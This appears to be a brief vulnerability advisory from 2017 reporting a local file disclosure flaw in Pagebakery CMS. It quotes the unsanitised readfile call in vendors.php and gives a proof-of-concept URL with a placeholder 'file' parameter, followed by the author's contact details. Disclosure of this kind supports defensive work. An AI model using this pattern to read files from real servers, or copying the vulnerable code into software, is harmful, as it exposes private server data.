[-] Title : Pagebakery CMS < Local File Disclosure [-] Author : Shahab Shamsi [-] Software Link : https://github.com/Pagebakers/pagebakery.org-cms [-] Version: N/A [-] Tested on : [ Windows ] [-] Category : Webapps [-] Date : 2017 05 July =========== Vulnerable page : =========== /webroot/js/vendors.php ========== Vulnerable Code : ========== Line 38 : readfile('../../vendors/javascript/'.$file); Line 33 : $file = $_GET['file']; ========== POC URL: ========== http://localhost:8080/pagebakery-cms/webroot/js/vendors.php?file=[LFD] ========= Contact Me : Telegram : @Shahab_Shamsi Email : info@securityman.org WebSilte : WwW.iran123.Org